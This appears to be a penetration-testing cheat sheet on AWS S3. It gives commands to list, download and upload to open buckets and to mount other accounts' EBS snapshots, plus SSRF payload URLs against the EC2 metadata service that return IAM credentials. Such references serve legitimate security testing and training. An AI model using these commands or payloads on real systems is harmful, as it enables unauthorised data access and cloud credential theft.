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Swissky 8b39647de6 AWS S3 and Open redirect rewritten

2018-12-29 13:05:29 +01:00

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Amazon Bucket S3 AWS

Summary

Tools
AWS Configuration
Open Bucket
Basic tests
AWS - Extract Backup
Bucket juicy data

Tools

Pacu - The AWS exploitation framework, designed for testing the security of Amazon Web Services environments

Bucket Finder - Search for readable buckets and list all the files in them

wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
	US Standard         = http://s3.amazonaws.com
	Ireland             = http://s3-eu-west-1.amazonaws.com
	Northern California = http://s3-us-west-1.amazonaws.com
	Singapore           = http://s3-ap-southeast-1.amazonaws.com
	Tokyo               = http://s3-ap-northeast-1.amazonaws.com

./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words

Boto3 - Amazon Web Services (AWS) SDK for Python

import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')

try:
	result = s3.list_buckets()
	print(result)
except Exception as e:
	print(e

AWS Configuration

Prerequisites, at least you need awscli

sudo apt install awscli

You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/

aws configure
AWSAccessKeyId=[ENTER HERE YOUR KEY]
AWSSecretKey=[ENTER HERE YOUR KEY]

aws configure --profile nameofprofile

then you can use --profile nameofprofile in the aws command.

Alternatively you can use environment variables instead of creating a profile.

export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56
export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ
export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU=

Open Bucket

By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names

http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/

Their names are also listed if the listing is enabled.

<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>

Alternatively you can extract the name of inside-site s3 bucket with %C0. (Trick from https://twitter.com/0xmdv/status/1065581916437585920)

http://example.com/resources/id%C0

eg: http://redacted/avatar/123%C0

Basic tests

Listing files

aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
aws s3 ls  s3://flaws.cloud/ --no-sign-request --region us-west-2

You can get the region with a dig and nslookup

$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud.    5    IN    A    52.218.192.11

$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.

Move a file into the bucket

aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers

aws s3 mv test.txt s3://hackerone.marketing
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."

aws s3 mv test.txt s3://hackerone.files
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"

Download every things

aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2

Check bucket disk size

Use --no-sign for un-authenticated check.

aws s3 ls s3://<bucketname> --recursive  | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'

AWS - Extract Backup

aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029",

aws --profile flaws  ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2    
"SnapshotId": "snap-XXXX342abd1bdcb89",

Create a volume using snapshot
aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-XXXX342abd1bdcb89
In Aws Console -> EC2 -> New Ubuntu
chmod 400 YOUR_KEY.pem
ssh -i YOUR_KEY.pem  ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com

Mount the volume
lsblk
sudo file -s /dev/xvda1
sudo mount /dev/xvda1 /mnt

Bucket juicy data

Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/

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